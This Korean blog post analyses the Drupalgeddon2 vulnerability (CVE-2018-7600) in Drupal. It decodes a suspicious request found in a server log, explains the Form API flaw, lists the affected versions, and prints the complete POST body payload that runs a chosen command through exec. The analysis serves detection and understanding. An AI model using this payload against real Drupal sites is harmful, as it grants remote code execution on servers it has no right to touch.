<OOO>

[CVE-2018-7600] Drupal 취약점 (Drupalgeddon2) 본문

CVE 분석

[CVE-2018-7600] Drupal 취약점 (Drupalgeddon2)

<OOO> 2021. 4. 14. 11:19
728x90

웹 서버 로그 에 이런게 찍혀있었다.

 

/%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78

 

url encoding이 되어있어 한눈에 보기 어렵지만 뭔가 이상한 로그라고 생각이 바로 든다.

얘를 디코딩 하면

 

/user/register?element_parents=timezone/timezone/#value&ajax_form=1&_wrapper_format=drupal_ajax

 

이런게 나오게 되는데 메소드가 POST 인걸로 보아 body에 공격 구문이 들어가는 것으로 판단된다.

 

이 취약점은 Drupal 에서 발생을 하는데 Drupal 이란 PHP로 작성된 오픈 소스 콘텐츠 관리 프레임워크, 콘텐츠 관리 시스템, 블로그 엔진이다.(읽을땐 드루팔) 

그리고 드루팔은 CMS인데 CMS 란 Contents Managerment Service 의 약자이며 아주 쉽게 말하면 개발을 못해도 홈페이지를 만들수 있는 도구라고 생각하면 된다.

 

이 공격이 왜 터지는가?

Form API Ajax 요청 프로세스에서 입력값 검증이 제대로 이루어지지 않아 공격자로부터 악의적인 코드를 내부 양식 구조에 삽입할 수 있는 취약점이다.(이 부분으로 인해 RCE 취약점이 발생한다.)

 

이 공격을 받을 수 있는 버전대는 다음과 같다.

Drupal 7.x < 7.58

Drupal 8.x < 8.3.9

Drupal 8.4.x < 8.4.6

Drupal 8.5.x < 8.5.1

 

body에 들어갈 공격 코드는

form_id=user_register_form&_drupal_ajax=1&mail%5B%23type%5D=markup&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23markup%5D=printf admin | md5sum

인데, 마지막 부분에 있는 printf admin | md5sum 부분에 자신이 원하는 명령어를 넣어주면 된다.

 

드루팔 개발자들이 이 공격을 Drupalgeddon2 라고 이름을 붙였다.

 

 

 

참고

github.com/a2u/CVE-2018-7600

github.com/nixawk/labs/issues/19

koromoon.blogspot.com/2018/05/cve-2018-7600-drupalgeddon2.html

steemit.com/kr/@huti/azefp-drupal-rce-cve-2018-7600

 

 

환경구축

m.blog.naver.com/PostView.nhn?blogId=chogar&logNo=221315019908&proxyReferer=https:%2F%2Fwww.google.com%2F

 

Comments